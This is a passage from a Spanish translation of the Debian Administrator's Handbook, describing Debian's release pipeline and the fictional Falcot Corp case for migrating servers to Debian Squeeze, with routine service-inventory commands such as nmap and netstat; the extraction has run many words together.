actualmente en desarrollo y nonecesariamente completado,explicando su nombre. No todo pasapor este paso, algunos desarrolladoresagregan paquetes aquí para recibircomentarios y sugerencias de usuariosmás experimentados (y valientes).

De lo contrario, esta distribucióngeneralmente alberga modificacionesimportantes a paquetes base, cuyaintegración a Unstable con erroresserios tendría repercusiones críticas.Es, por lo tanto, una distribucióncompletamente aislada, sus paquetesnunca migran a otra versión (exceptointervención directa y expresa de suresponsable o los ftpmaster).

Page 197: El Libro Del Administrador de Debian - Raphael Hertzog

1.5.2. El estadoinestable: UnstableVolvamos al caso típico de un paquete.Su responsable crea un paquete inicialque compila para la versión Unstable yla ubica en el servidor ftp-master.debian.org. Este primerevento involucra una inspección yvalidación de parte de los ftpmaster. Elsoftware luego está disponible en ladistribución Unstable, riesgosa peroelegida por los usuarios que prefierenmantenerse en la vanguardia conpaquetes más actualizados a evitarerrores serios. Ellos descubren elprograma y lo prueban.

Page 198: El Libro Del Administrador de Debian - Raphael Hertzog

Si encuentran errores los reportan alencargado del paquete. Quien preparaversiones corregidas regularmente quevuelve a subir al servidor.

Cada nuevo paquete actualizado esactualizado en todas las réplicas deDebian en todo el mundo en menos deseis horas. Los usuarios prueban lascorrecciones y buscan otros problemasque resulten de las modificaciones.Pueden ocurrir varias modificacionesrápidamente. Durante esos momentos,los robots de compilación automática(«autobuilder») entran en acción. Maśfrecuentemente, el desarrollador sólotiene una PC tradicional y compiló supaquete en la arquitectura i386 (o

Page 199: El Libro Del Administrador de Debian - Raphael Hertzog

amd64); los «autobuilder» se encargande compilar versiones para todas lasotras arquitecturas. Algunascompilaciones pueden fallar, elmantenedor recibirá un reporte de errorindicando el problema, que escorregido en las siguientes versiones.Cuando un especialista de esaarquitectura descubre el error, elreporte puede llegar con un parche yalisto para utilizar.

Figure 1.2. Compilación de unpaquete por los autobuilders

Page 200: El Libro Del Administrador de Debian - Raphael Hertzog

VISTA RÁPIDA buildd: el recompiladorde paquetes Debian

buildd es la abreviación de demonio decompilación («build daemon»). Esteprograma recompila automáticamente

Page 201: El Libro Del Administrador de Debian - Raphael Hertzog

nuevas versiones de paquetes Debian enlas arquitecturas en las que se encuentra(a veces una compilación cruzada no essuficiente).

Por lo tanto, para generar binarios para laarquitectura sparc, el proyecto tienedisponibles máquinas sparc(específicamente: de la marca Sun). Elprograma buildd ejecuta en ellascontinuamente para crear paquetesbinarios para sparc desde los paquetesfuente enviados por los desarrolladoresDebian.

Este software es utilizado en todos losequipos que sirven como autobuilderspara Debian. Por extensión, se sueleutilizar el término buildd para referirse aestas máquinas, que generalmente estánreservadas sólo para este propósito.

Page 202: El Libro Del Administrador de Debian - Raphael Hertzog

1.5.3. Migración aTestingLuego, el paquete habrá madurado;compilado en todas las arquitecturas, yno tendrá modificaciones recientes.Será entonces candidato para serincluido en la distribución de pruebas:Testing — un grupo de paquetes deUnstable elegidos según un criteriocuantificable. Todos los días, unprograma selecciona los paquetes aincluir en Testing según elementos quegaranticen cierto nivel de calidad:

Page 203: El Libro Del Administrador de Debian - Raphael Hertzog

1. falta de fallos críticos o, al menos,menor cantidad que la versiónincluida ya en Testing;

2. al menos 10 días en Unstable, quees suficiente tiempo paraencontrar y reportar problemasserios;

3. compilación satisfactoria en todaslas arquitecturas oficiales;

4. dependencias que puedan sersatisfechas en Testing o que, porlo menos, puedan moverse allíjunto al paquete en cuestión.

Este sistema no es infalible; seencuentran regularmente errorescríticos en los paquetes incluidos enTesting. Aún así, generalmente es

Page 204: El Libro Del Administrador de Debian - Raphael Hertzog

efectivo y Testing tiene muchos menosproblemas que Unstable,convirtiéndola para muchos en un buencompromiso entre estabilidad ynovedad.

NOTA Limitaciones de Testing

Muy interesante en principio, Testingplantea algunos problemas prácticos: lamaraña de dependencias entre paqueteses tal que un paquete no puede moverseallí completamente por su cuenta. Con lospaquetes que dependen unos de otros esnecesario mover un gran número de ellossimultáneamente, lo cual es imposiblecuando algunos son actualizadosfrecuentemente. Por otro lado, el scriptque identifica las familias de paquetesrelacionados trabaja duro para crearlas

Page 205: El Libro Del Administrador de Debian - Raphael Hertzog

(esto sería un problema NP-completo parael cual, afortunadamente, conocemosalgunas buenas heurísticas). Es por esoque podemos interactuar manualmente yguiar a este script sugiriendo grupos depaquetes o imponiendo la inclusión deciertos paquetes en un grupo aún cuandoesto rompa temporalmente algunasdependencias. Esta funcionalidad esaccesible a los administradores de versión(«Release Managers») y sus asistentes.

Recuerde que un problema NP-completoes de una complejidad algorítmicaexponencial según el tamaño de los datos,que son aquí la longitud del código(cantidad de líneas) y los elementosinvolucrados. Frecuentemente, la únicaforma de resolverlo es examinar todas lasconfiguraciones posibles, que requeriríacantidades enormes de recursos. Una

Page 206: El Libro Del Administrador de Debian - Raphael Hertzog

heurística es una solución aproximadapero satisfactoria.

COMUNIDAD El gestor de versiones(«Release Manager»)

El gestor de versiones («ReleaseManager») es un título importanteasociado a pesadas responsabilidades. Elportador de este título deben, en efecto,gestionar la publicación de una versiónnueva y estable de Debian y definir elproceso de desarrollo de Testing hastaque cumpla los criterios de calidad paraStable. También define un cronogramatentativo (que no siempre se cumple).

También tenemos gestores de versiónestables, generalmente abreviados SRM(«Stable Release Managers»), quienes se

Page 207: El Libro Del Administrador de Debian - Raphael Hertzog

encargan de seleccionar actualizacionespara la versión estable actual de Debian.Ellos sistemáticamente incluyen parchesde seguridad y examinan todas las otraspropuestas de inclusión, caso por caso,enviadas por desarrolladores Debianansiosos de actualizar su paquete en laversión estable.

1.5.4. La promocióndesde Testing a StableSupongamos ahora que nuestro paquetese incluye en Testing. Mientras tengamargen de mejora el responsable delmismo debe continuar mejorando y

Page 208: El Libro Del Administrador de Debian - Raphael Hertzog

volviendo a inicar el proceso desdeUnstable (aunque generalmente suposterior inclusión en Testing será másrápida: si no ha cambiadosignificativamente todas susdependencias ya se encuentrandisponibles). El desarrollador completasu trabajo cuando alcanza laperfección. El siguiente paso es lainclusión en la distribución Stable que,en realidad, es una simple copia deTesting en un momento elegido por eladministrador de versión. Lo idealsería que esta decisión se tome cuandoesté listo el instalador y cuando noexista ningún programa en Testing quetenga errores críticos conocidos.

Page 209: El Libro Del Administrador de Debian - Raphael Hertzog

Ya que este momento nunca llegarealmente, en la práctica Debian llega aun compromiso: eliminar paquetes enlos que su encargado no corrigió loserrores a tiempo o acordar publicar unaversión con algunos errores en losmiles de programas. El gestor deversiones habrá anunciado previamenteun período de estabilización («freeze»),durante el cual cada actualización aTesting debe ser aprobado. El objetivoaquí es evitar cualquier versión nueva(y nuevos errores) y sólo aprobarcorrecciones de errores.

Figure 1.3. El camino de un paquetea través de las varias versiones deDebian

Page 210: El Libro Del Administrador de Debian - Raphael Hertzog

VOCABULARIO Estabilización: la rectafinal

Page 211: El Libro Del Administrador de Debian - Raphael Hertzog

Durante el período de estabilización sebloquea el desarrollo de la distribución deTesting, no se permiten másactualizaciones automáticas. Sólo losgestores de versión están autorizados acambiar los paquetes de acuerdo a suspropios criterios. El objetivo es prevenirla aparición de nuevos errores mediantela introducción de nuevas versiones; lasactualizaciones que hayan sidoanalizadas a fondo sólo serán autorizadascuando corrijan errores significativos.

Luego de la publicación de una nuevaversión estable, el gestor de versionesestables se encarga de todo eldesarrollo futuro (llamados«revisiones», por ejemplo: 5.0.1, 5.0.2,5.0.3 para la versión 5.0). Estas

Page 212: El Libro Del Administrador de Debian - Raphael Hertzog

actualizaciones incluyensistemáticamente todos los parches deseguridad. También incluirán lascorrecciones más importantes (elencargado de un paquete deberádemostrar la gravedad del problemaque desea corregir para lograr incluirsus actualizaciones).

Final del viaje: nuestro paquetehipotético ahora está incluido en ladistribución estable. Este viaje, con susdificultados, explica las demorassignificativas que separan las versionesestables de Debian. Esto contribuye, engeneral, a su reputación de calidad. Loque es más, la mayoría de los usuariosson satisfechos utilizando una de las

Page 213: El Libro Del Administrador de Debian - Raphael Hertzog

tres distribuciones disponiblessimultáneamente. Los administradoresde sistemas se burlan de la últimaversion de GNOME preocupados por laestabilidad de sus servidores por sobretodas las cosas; ellos pueden elegirDebian Stable y estarán satisfechos.Los usuarios finales, más interesadosen las últimas versiones de GNOME oKDE que en una estabilidad sólida,encontrarán en Debian Testing un buencompromiso entre la falta deproblemas serios y softwarerelativamente actualizado. Finalmente,desarrolladores y usuarios másexperimentados pueden liderar elcamino probando todos los últimosdesarrollos en Debian Unstable recién

Page 214: El Libro Del Administrador de Debian - Raphael Hertzog

salidos del horno, arriesgándose asufrir dolores de cabeza y erroresinherentes en cualquier nueva versiónde un programa. ¡A cada quien supropio Debian!

Figure 1.4. Camino cronológico de unprograma empaquetado por Debian

Page 215: El Libro Del Administrador de Debian - Raphael Hertzog
Page 216: El Libro Del Administrador de Debian - Raphael Hertzog

CULTURA GNOME y KDE, los entornosgráficos de escritorio

En el mundo del software libre, losentornos gráficos más populares sonGNOME («GNU Network Object ModelEnvironment») y KDE («K DesktopEnvironment»). Un entorno de escritorioes un conjunto de programas agrupadospara permitir una fácil gestión de lasoperaciones más comunes a través de unentorno gráfico. Generalmente incluyenun gestor de archivos, suite ofimática,navegador web, programa de email,accesorios multimedia, etc. La diferenciamás visible reside en la elección labiblioteca gráfica utilizada: GNOME haelegido GTK+ (software libre licenciadobajo la LGPL) y KDE ha seleccionado Qt(de la compañía Trolltech, que lo liberóbajo la licencia GPL).

Page 217: El Libro Del Administrador de Debian - Raphael Hertzog

→ http://www.gnome.org/

→ http://www.kde.org/

Page 218: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 2. Presentandoel caso de estudioUsted es el administrador de sistemasde una pequeña empresa encrecimiento. En colaboración con susdirectores, va a redefinir el planmaestro de los sistemas de informaciónpara el próximo año y eligió migrar aDebian progresivamente por razonestanto prácticas como económicas.Veamos en detalle lo que le espera...

Creamos este caso de estudio paraabordar todos los servicios de sistemasde información modernos utilizados

Page 219: El Libro Del Administrador de Debian - Raphael Hertzog

actualmente en una empresa de tamañomedio. Luego de leer este libro, tendrátodos los elementos necesarios parainstalar Debian en sus servidores yvolar con sus propias alas. Tambiénaprenderá dónde y cómo encontrarinformación efectivamente en losmomentos de dificultad.

2.1. NecesidadesTI de rápidocrecimientoFalcot Corp es un fabricante de equiposde audio de alta calidad. La empresa

Page 220: El Libro Del Administrador de Debian - Raphael Hertzog

está creciendo fuertemente y tiene dosfiliales, una en Saint-Étienne y otra enPau. La primera tiene alrededor de 150empleados y alberga una fábrica para lamanufactura de altavoces, unlaboratorio de diseño y una oficinaadministrativa. La filial de Pau, máspequeña, sólo tiene cerca de 50trabajadores y produce amplificadores.

NOTA Empresa fictica creada para elcaso de estudio

La empresa estudiada aquí, Falcot Corp,es completamente ficticia. Cualquierparecido con una compañía existente espura coincidencia. De la misma forma,ciertos datos de ejemplo en este libropuede ser ficticios.

Page 221: El Libro Del Administrador de Debian - Raphael Hertzog

El sistema informático viene teniendoproblemas para seguir el paso delcrecimiento de la compañía, por lo queestán decididos a redefinirlocompletamente para lograr losobjetivos establecidos por la gerencia:

moderno, infraestructura quepueda crecer fácilmente;redicir los costos de licencias desoftware gracias a software decódigo abierto;la instalación de un sitio web decomercio electrónico,posiblemente «B2B» (negocio anegocio, es decir: enlazandosistemas de información de

Page 222: El Libro Del Administrador de Debian - Raphael Hertzog

diferentes empresas, como unproveedor con sus clientes);mejorar significativamente laseguridad para protejer mejor lossecretos industriales relacionadosa productos nuevos.

Basado en estos objetivos se redefinirátodo el sistema de información.

Page 223: El Libro Del Administrador de Debian - Raphael Hertzog

2.2. Plan maestroLa gerencia TI, con su colaboración,realizó un estudio un poco másextensivo que identificó algunaslimitaciones y definió el plan para lamigración al sistema de código abiertoelegido: Debian.

Una de las restricciones significativases que el departamento de finanzasutiliza software específico que sóloejecuta en Microsoft Windows™. Ellaboratorio, por su cuenta, utilizasoftware de diseño asistido que ejecutaen MacOS X™.

Page 224: El Libro Del Administrador de Debian - Raphael Hertzog

Figure 2.1. Revisión de la red deFalcot Corp

Page 225: El Libro Del Administrador de Debian - Raphael Hertzog

El cambio a Debian será gradual; unapequeña empresa, con medioslimitados, no puede cambiar todo de undía para otro. Para empezar, se debeentrenar en administración de Debian

Page 226: El Libro Del Administrador de Debian - Raphael Hertzog

al personal de TI. Luego se convertiránlos servidores comenzando con lainfraestructura de red (routers,firewalls, etc.), seguidos de losservicios a usuarios (archivoscompartido, web, SMTP, etc.). Luegose migrarán gradualmente a Debian losequipos de oficina, se entrenará(internamente) a cada departamentodurante el despliegue del nuevosistema.

Page 227: El Libro Del Administrador de Debian - Raphael Hertzog

2.3. ¿Por qué unadistribuciónGNU/Linux?

VOLVER A LOS CIMIENTOS ¿Linux oGNU/Linux?

Linux, como ya sabe, es sólo el núcleo.Las expresiones «distribución Linux» y«sistema Linux» son, por lo tanto,incorrectas; son, en realidad, sistemas odistribuciones basados en Linux. Estasexpresiones no mencionan el softwareque siempre completa al núcleo, entre elque están los programas desarrollados porel proyecto GNU. El Dr. Richard Stallman,

Page 228: El Libro Del Administrador de Debian - Raphael Hertzog

fundador de este proyecto, insiste que seutilice sistemáticamente la expresión«GNU/Linux» para reconocer mejor lasimportantes contribuciones realizadas porel proyecto GNU y los principios delibertad sobre los que están fundados.

Debian eligió seguir esta recomendacióny, por lo tanto, nombrar sus distribucionesde forma acorde (la última versión establees Debian GNU/Linux 6.0).

Varios factores dictaron esta elección.El administrador del sistema, quienconocía esta distribución, se aseguróque estuviera en la lista de posiblescandidatos para el rediseño del sistemainformático. Las complicadascondiciones económicas y feroz

Page 229: El Libro Del Administrador de Debian - Raphael Hertzog

competencia en el sector limitaron elpresupuesto para este proyecto a pesarde su importancia crítica para el futurode la empresa. Por esto se eligieronrápidamente soluciones de códigoabierto: varios estudios recientesindican que son menos costosas quesoluciones privativas, a pesar que lacalidad del servicio es igual o mejor,siempre que haya disponible personalcalificado para mantenerlo.

EN LA PRÁCTICA Costo total deposesión («TCO: Total Cost ofOwnership»)

El costo total de posesión es el total detodo el dinero gastado para la posesión oadquisición de un elemento, en este caso

Page 230: El Libro Del Administrador de Debian - Raphael Hertzog

se refiere al sistema operativo. Este precioincluye todo precio de posibles licencias,costos de entrenamiento de personal paratrabajar con el software nuevo, reemplazode máquinas muy lentas, reparacionesadicionales, etc. Se tiene en cuenta todolo que surga directamente de la elecciónoriginal.

Este TCO, que varía según el criterioelegido en su estudio, rara vez essignificativo en sí mismo. Sin embargo, esmuy interesante comparar el TCOcalculado según las mismas reglas. Estatabla de valoración es de extremaimportancia y es fácil de manipular paraobtener una conclusión preferida. Por lotanto, el TCO de un sólo equipo no tienesentido ya que el costo de unadministrador también se refleja en elnúmero total de equipos que puede

Page 231: El Libro Del Administrador de Debian - Raphael Hertzog

gestionar, un número que dependeobviamente del sistema operativo yherramientas propuestas.

Entre los sistemas operativos libres, eldepartamento de IT revisó sistemaslibres BSD (OpenBSD, FreeBSD yNetBSD), GNU Hurd y distribucionesLinux. GNU Hurd, que no ha publicadouna versión estable aún, fue rechazadoinmediatamente. La elección entreBSD y Linux es más sencilla. Elprimero tiene méritos, especialmenteen servidores. El pragmatismo indica,sin embargo, la elección de un sistemaLinux ya que la cantidad deinstalaciones y su popularidad son muysignificativas y tienen muchas

Page 232: El Libro Del Administrador de Debian - Raphael Hertzog

consecuencias positivas. Debido a estapopularidad es más sencillo encontrarpersonal calificado para administrarmáquinas Linux que técnicos conexperiencia en BSD. Lo que es más, lasdistribuciones Linux se adaptan anuevo hardware más rápidamente queBSD (aunque frecuentemente es unacarrera muy pareja). Por último, lasdistribuciones Linux están mejoradaptadas a interfaces de usuarioamigables, indispensable paraprincipiantes durante la migración detodos los equipos de oficina al nuevosistema.

ALTERNATIVA Debian GNU/kFreeBSD

Page 233: El Libro Del Administrador de Debian - Raphael Hertzog

Desde Debian Squeeze, es posible utilizarDebian con un núcleo FreeBSD enequipos de 32 y 64 bits; esto es lo quesignifican las arquitecturas kfreebsd-i386 y kfreebsd-amd64. Si bien estastecnologías son consideradasexperimentales (vista previa detecnología: «Technology Preview»), ya seencuentra disponible para ellas entre el70 y el 80% de todo el sofwareempaquetado por Debian.

Estas arquitecturas pueden ser unaelección apropiada para losadministradores de Falcot Corp,especialmente para un firewall (el núcleoes compatible con tres diferentes: IPF,IPFW y PF) o para un sistema NAS(almacenamiento acoplado a la red —«network attached storage» — para el queel sistema de archivos ZFS fue probado y

Page 234: El Libro Del Administrador de Debian - Raphael Hertzog

aprobado).

Page 235: El Libro Del Administrador de Debian - Raphael Hertzog

2.4. ¿Por qué ladistribuciónDebian?Una vez que Linux fue aprobado sedebe elegir una opción más específica.Nuevamente, abundan los criterios aconsiderar. La distribución elegidadebe poder funcionar por muchos añosya que la migración de una a otra puedeacarrear costos adicionales (aunquemenores que si la migración fuera entredos sistemas operativos completamentedistintos como Windows o Mac OS).

Page 236: El Libro Del Administrador de Debian - Raphael Hertzog

La estabilidad es, entonces, esencial ydebe garantizar actualizacionesregulares y parches de seguridad porvarios años. El ritmo de lasactualizaciones también es importanteya que, con tantos equipos paraadministrar, Falcot Corp no puederealizar esta operación compleja muyseguido. El departamento IT insiste,por lo tanto, ejecutar la última versiónestable de la distribución, que goza dela mejor asistencia técnica y parches deseguridad garantizados. En efecto, lasactualizaciones de seguridad sólo songarantizadas por un tiempo limitado enlas versiones antiguas de unadistribución.

Page 237: El Libro Del Administrador de Debian - Raphael Hertzog

Finalmente, por razones dehomogeneidad y facilidad deadministración, la misma distribucióndebe ejecutar en todos los servidores(algunos de los cuales son máquinasSparc que ejecutan Solarisactualmente) y los equipos de oficina.

2.4.1. Distribucionescomerciales y guiadaspor la comunidadExisten dos categorias principales dedistribuciones Linux: comerciales yguiadas por la comunidad. Las primera,desarrollada por empresas, es vendida

Page 238: El Libro Del Administrador de Debian - Raphael Hertzog

junto a servicios de asistenciacomerciales. Las últimas sondesarrolladas según el mismo modelode desarrollo que el software libre delque están compuestas.

Una distribución comercial tenderá,entonces, a publicar nuevas versionesmás frecuentemente para abastecermejor al mercado de actualizaciones yservicios asociados. Su futuro estáconectado directamente al éxitocomercial de su compañía y muchas yahan desaparecido (Caldera Linux,StormLinux, etc.).

Una distribución de la comunidad nosigue ningún cronograma salvo el suyo

Page 239: El Libro Del Administrador de Debian - Raphael Hertzog

propio. Similar al núcleo Linux, sepublican nuevas versiones cuando sonestables, nunca antes. Su supervivenciaestá garantizada mientras tengasuficientes desarrolladores individualeso empresas independientes que laapoyen.

Una comparación de variasdistribuciones Linux llevó a elegirDebian por varias razones:

Es una distribución comunitaria,con desarrollo aseguradoindependientemente de cualquierlimitación comercial; susobjetivos son, por lo tanto, de unanaturaleza esencialmente técnica

Page 240: El Libro Del Administrador de Debian - Raphael Hertzog

que parece favorecer la calidadgeneral del producto.De todas las distribucionescomunitarias, es la mássignificativa desde cualquierperspectiva: cantidad decontribuyentes, número depaquetes de software disponibles yaños de existencia continua. Eltamaño de su comunidad es untestigo innegable de sucontinuidad.Estadísticamente, se publicannuevas versiones cada 18 a 24meses, un cronograma que esaceptable para losadministradores.Una encuesta de varias compañías

Page 241: El Libro Del Administrador de Debian - Raphael Hertzog

francesas de serviciosespecializadas en software libremostró que todas ellas proveenasistencia técnica para Debian; estambién, para muchas de ellas, ladistribución elegida internamente.Esta diversidad de potencialesproveedores es un componenteimportante en la independencia deFalcot Corp.Finalmente, Debian estádisponible para una multitud dearquitecturas, incluyendo Sparc;será posible, entonces, instalarlaen los varios servidores Sun deFalcot Corp.

Una vez que se eligió Debian, se debe

Page 242: El Libro Del Administrador de Debian - Raphael Hertzog

decidir qué versión utilizar. Veamosporqué los administradores eligieronDebian Squeeze.

Page 243: El Libro Del Administrador de Debian - Raphael Hertzog

2.5. ¿Por quéDebian Squeeze?Al momento de escribir este libro,Debian Squeeze era todavía ladistribución «Testing», pero ahoracuando lo lea, será la nueva versión«Stable» de Debian. Esta es también larazón por la que hablamos de «DebianSqueeze» en lugar de «Debian 6.0» yaque no se utiliza el número de versiónantes de su publicación efectiva.

Podría encontrar también unasdiferencias menores entre lo escritoaquí y lo que observe en la práctica aún

Page 244: El Libro Del Administrador de Debian - Raphael Hertzog

cuando intentamos limitarlas tantocomo nos fue posible.

PARTICIPE

No dude en indicarnos un error en el textopor email; puede contactarse con Raphaëlvia <[email protected]> y con Rolandvia <[email protected]>.

La elección de Debian Squeeze estábien justificada basándose en el hechode que cualquier administradorpreocupado por la calidad de susservidores naturalmente gravitará haciala versión estable de Debian. Lo que esmás, esta distribución introducenumerosos cambios interesantes:

Page 245: El Libro Del Administrador de Debian - Raphael Hertzog

compatibilidad con las últimastecnologías de virtualización (KVM),configuración simplificada de PAM yun instalador mejorado compatible conBTRFS; todo acarreando mejoras queafectan directamente a losadministradores.

Page 246: El Libro Del Administrador de Debian - Raphael Hertzog

Chapter 3. Analizandola instalaciónexistente ymigrandoCualquier rediseño de un sistemainformático debería tener en cuenta elsistema existente. Esto permitemaximizar la reutilización de losrecursos disponibles y garantiza lainteroperabilidad entre los varioselementos que comprenden al sistema.Este estudio introducirá un marco detrabajo genérico a seguir en cualquier

Page 247: El Libro Del Administrador de Debian - Raphael Hertzog

migración de infraestructurainformática a Linux.

3.1. Coexistenciaen entornosheterogéneosDebian se integra perfectamente entodos los tipos de entornos existentes yfunciona muy bien con otros sistemasoperativos. Esta armonía casi perfectaes fruto de la presión del mercado quedemanda que los distribuidores desoftware desarrollen programas quecumplan estándares. El cumplimiento

Page 248: El Libro Del Administrador de Debian - Raphael Hertzog

de los estándares permite a losadministradores cambiar programaspor otros: clientes o servidores, seanlibres o no.

3.1.1. Integración conequipos WindowsLa compatibilidad con SMB/CIFS deSamba garantiza una comunicaciónexcelente en un contexto Windows.Comparte archivos y colas deimpresión con clientes Windows eincluye software que le permite a unequipo Linux utilizar recursosdisponibles en servidores Windows.

Page 249: El Libro Del Administrador de Debian - Raphael Hertzog

HERRAMIENTA Samba

La versión 2 de Samba se comporta comoun servidor Windows NT (autenticación,archivos, colas de impresión, descarga decontroladores de impresoras, DFS, etc.).La versión 3 trabaja con Active Directory,introduce interoperabilidad concontroladores de dominio NT4 y RPCs(«Remote Procedure Calls»: llamadasremotas a procedimientos). La versión 4es una reescritura (aún experimental)cuyo propósito es proveer lafuncionalidad de un controlador dedominio compatible con Active Directory.

3.1.2. Integración con

Page 250: El Libro Del Administrador de Debian - Raphael Hertzog

equipos Mac OSNetatalk es un programa que utiliza elprotocolo Appletalk (que ejecuta en unnúcleo Linux) y permite que Debianinteractúe en una red Mac OS. Asegurael funcionamiento del servidor dearchivos y colas de impresión así comotambién el servidor de tiempo(sincronización de reloj). Sus funcionesde enrutamiento permiten lainterconexión con redes Appletalk.

3.1.3. Integración conotros equipos

Page 251: El Libro Del Administrador de Debian - Raphael Hertzog

Linux/UnixFinalmente, NFS y NIS, ambosincluidos, garantizan la iteracción consistemas Unix. NFS proporciona lafuncionalidad de servidor de archivosmientras que NIS crea los directoriosde usuario. La capa de impresión deBSD, utilizada ampliamente por lossistemas Unix, también permitecompartir colas de impresión.

Figure 3.1. Coexistencia de Debiancon sistemas MacOS, Windows yUnix

Page 252: El Libro Del Administrador de Debian - Raphael Hertzog
Page 253: El Libro Del Administrador de Debian - Raphael Hertzog

3.2. Cómo migrarPara poder garantizar la continuidad delos servicios, la migración de cadaequipo debe ser planificada y realizadade acuerdo al plan. Este principionunca cambia sin importar el sistemaoperativo que utilice.

3.2.1. Reconocimientoe identificación deserviciosSimple como parece, este paso esesencial. Un administrador serio

Page 254: El Libro Del Administrador de Debian - Raphael Hertzog

realmente conoce los roles principalesde cada servidor, pero dichos rolespueden cambiar y a veces usuariosexperimentados pueden haber instaladoservicios «salvajes». Saber que existenle permitirá, al menos, decidir quéhacer con ellos en lugar de eliminarlossin orden ni propósito.

Por ello, es buena idea informar a sususuarios del proyecto antes de migrarel servidor. Involucrarlos en elproyecto puede ser útil para instalar elsoftware libre más común en susequipos de escritorio antes de lamigración, programas con los que seencontrarán luego de la migración aDebian; OpenOffice.org y la suite

Page 255: El Libro Del Administrador de Debian - Raphael Hertzog

Mozilla son los mejores ejemplos detales programas.

3.2.1.1. La red y los procesos

La herramienta nmap (en el paquetedel mismo nombre) identificarárápidamente servicios de internethospedados en un equipo conectado ala red sin siquiera necesitar iniciarsesión en el mismo. Simplementeejecute la siguiente orden en otroequipo conectado a la misma red:

$ nmap mirlaine

Starting Nmap 5.00 ( http://nmap.org ) at 2010-07-29 16:36 CET

Interesting ports on mirlaine (192.168.1.99):

Not shown: 1694 closed ports

Page 256: El Libro Del Administrador de Debian - Raphael Hertzog

PORT STATE SERVICE

22/tcp open ssh

79/tcp open finger

111/tcp open rpcbind

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

ALTERNATIVA Utilice netstat paraencontrar la lista de serviciosdisponibles

En los equipos Linux, la orden netstat -tupan mostrará la lista de sesiones TCPactivas o pendientes así como también lospuertos UDP en los que escuchan losprogramas. Esto facilita la identificaciónde los servicios que se ofrecen en la red.

YENDO MÁS ALLÁ IPv6

Page 257: El Libro Del Administrador de Debian - Raphael Hertzog

Algunas órdenes de red pueden serutilizados con IPv4 (lo predeterminadonormalmente) o con IPv6. Este es el casoespecialmente de las órdenes nmap ynetstat, pero también hay otros comoroute o ip. La convención es que laopción -6 activa este comportamiento.

Si el servidor es un equipo Unixofreciendo acceso de consola a losusuarios, es interesante determinarlo sise ejecutan procesos en segundo planoen ausencia de su usuario. La orden psauxw muestra una lista de todos losprocesos con la identidad de su usuario.Comparar esta información con lasalida de la orden who, que provee lalista de usuarios con sesiones activas,

Page 258: El Libro Del Administrador de Debian - Raphael Hertzog

permite identificar servidores salvajeso programas ejecutando en segundoplano. Revisar crontab (tablas deacciones programadas por usuarios)generalmente proveerá informacióninteresante sobre las funciones quecumple el servidor (una explicacióncompleta de cron está disponible en laSection 9.7, “Programación de tareascon cron y atd”).

En cualquier caso, es esencial que hagarespaldos de sus servidores: de estaforma se asegurará que la informaciónpueda ser recuperada después delhecho, cuando los usuarios informenacerca de problemas concretosderivados de la migración.

Page 259: El Libro Del Administrador de Debian - Raphael Hertzog

3.2.2. Respaldos de laconfiguraciónEs buena idea conservar laconfiguración de todo servicioidentificado para poder instalar elequivalente en el nuevo servidor. Comomínimo, imprimir los archivos deconfiguración y hacer respaldos de losmismos.

En los equipos Unix, los archivos deconfiguración se encuentrannormalmente en /etc/ pero puede quese encuentren en un subdirectorio de/usr/local/. Este es el caso si elprograma se ha instalado desde las

Page 260: El Libro Del Administrador de Debian - Raphael Hertzog

fuentes en lugar de utilizar un paquete.Incluso puede que se encuentren enalgunos casos en /opt/.

Para servicios que administren datos(como bases de datos), es muyrecomendable exportarlos a un formatoestándar que pueda ser importadofácilmente por el nuevo software. Talformato generalmente estádocumentado y es texto plano; puedeser, por ejemplo, un volcado SQL parauna base de datos o un archivo LDIFpara un servidor LDAP.

Figure 3.2. Respaldos de base dedatos

Page 261: El Libro Del Administrador de Debian - Raphael Hertzog

Cada software de servidor es diferentey es imposible detallar todos los casosposibles. Revise la documentación delsoftware nuevo y el actual paraidentificar las porciones exportables (y,por lo tanto, importables) y aquellasque necesitarán manipulación manual.Leer este libro clarificará la

Page 262: El Libro Del Administrador de Debian - Raphael Hertzog

configuración de los principalesprogramas de servidor en Linux.

3.2.3. Tomandocontrol de un servidorDebian existentePara efectivamente tomar el control desu mantenimiento, uno podría analizarun equipo que ya ejecuta Debian.

El primer archivo a revisar es/etc/debian_version quegeneralmente contiene el número deversión para el sistema Debianinstalado (es parte del paquete base-

Page 263: El Libro Del Administrador de Debian - Raphael Hertzog

files. Si indica nombre_código/sidsignifica que el sistema fue actualizadocon paquetes que provienen de algunade las distribuciones en desarrollo(«Testing» o «Unstable»).

El programa apt-show-versions (quese encuentra en el paquete Debian quelleva el mismo nombre) comprueba lalista de paquetes instalados e identificalas versiones disponibles. Puedeutilizar también aptitude para estastareas, aunque de un modo menossistemático.

Revisar el archivo/etc/apt/sources.list mostrará dedónde es probable que provengan los

Page 264: El Libro Del Administrador de Debian - Raphael Hertzog

paquetes Debian. Si aparecen muchasfuentes desconocidas, el administradorpodría elegir reinstalar el sistemacompletamente para asegurarcompatibilidad óptima con el softwareprovisto por Debian.

El archivo sources.list esgeneralmente un buen indicador: lamayoría de los administradoresmantienen, al menos comocomentarios, la lista de fuentes APTutilizadas anteriormente. Pero no debeolvidar que fuentes utilizadaspreviamente podrían haber sidoeliminadas y se podrían haber instaladomanualmente paquetes al azardescargados de internet (con la orden

Page 265: El Libro Del Administrador de Debian - Raphael Hertzog

dpkg). En este caso, la apariencia delequipo como un Debian estándar esengañosa. Es por eso que debe prestaratención a cualquier indicación querevele la presencia de paquetesexternos (archivos deb en directoriosinusuales, números de versión depaquetes con sufijos especiales queindican su origen fuera del proyectoDebian como ubuntu o ximian, etc.)

De la misma forma, es interesanteanalizar el contenido del directorio/usr/local/, cuyo propósito esalbergar programas compilados einstalados manualmente. Generar unalista de software instalado de estaforma es instructivo, ya que genera

Page 266: El Libro Del Administrador de Debian - Raphael Hertzog

dudas sobre las razones para no utilizarel paquete Debian correspondiente, sies que existe.

VISTA RÁPIDA cruft

El paquete cruft se propone listar todoslos archivos disponibles que no son partede ningún paquete. Tiene algunos filtros(más o menos efectivos y más o menosactualizados) para evitar reportararchivos legítimos (archivos generadospor paquetes Debian o archivos deconfiguración generados que no sonadministrados por dpkg, etc.).

¡Tenga cuidado de no borrar ciegamentetodo lo que liste cruft!

Page 267: El Libro Del Administrador de Debian - Raphael Hertzog

3.2.4. InstalandoDebianSabiendo ahora toda la información delservidor actual, podemos apagarlo ycomenzar a instalar Debian en él.

Para elegir la versión apropiada,debemos saber la arquitectura delequipo. Si es una PC, es probable quesea i386. En otros casos podemosreducir las posibilidades según elsistema utilizado previamente.

